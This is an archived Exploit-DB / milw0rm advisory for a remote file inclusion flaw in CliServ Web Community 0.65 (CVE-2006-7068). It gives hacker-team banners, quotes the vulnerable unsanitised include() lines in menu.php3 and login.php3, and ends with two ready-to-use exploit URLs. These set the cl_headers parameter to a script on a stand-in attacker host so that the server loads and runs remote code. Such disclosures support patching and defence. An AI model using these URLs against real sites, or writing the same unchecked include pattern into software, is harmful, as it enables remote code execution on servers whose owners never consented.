CliServ Web Community <= 0.65 cl_headers Include Vulnerability

2006-08-25T00:00:00
ID EDB-ID:2257
Type exploitdb
Reporter Kacper
Modified 2006-08-25T00:00:00

Description

CliServ Web Community <= 0.65 (cl_headers) Include Vulnerability. CVE-2006-7068. Webapps exploit for php platform

                                        
                                            /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- CliServ Web Community &lt;= 0.65 (cl_headers) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: CliServ Web Community v. 0.65
- [Script site: http://sourceforge.net/projects/cliserv/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code =&gt; menu.php3 line 4-8:
....

include($cl_headers);
$query = "DELETE FROM cl_notice WHERE n_expire &lt; ". time();
$result  = db_exec($connection, $query);
if($cl_loggedin == "2") {
....

++++++++++++++++++++++++++++++++++++++++++++++++++
vulnerable code =&gt; login.php3 line 4-8:
....

include($cl_header);

?&gt;
&lt;FORM METHOD="POST" ACTION="index.php3"&gt;
....
++++++++++++++++++++++++++++++++++++++++++++++++++
*/

#Exploit:

http://www.site.com/[CliServ_path]/menu.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

http://www.site.com/[CliServ_path]/login.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-25]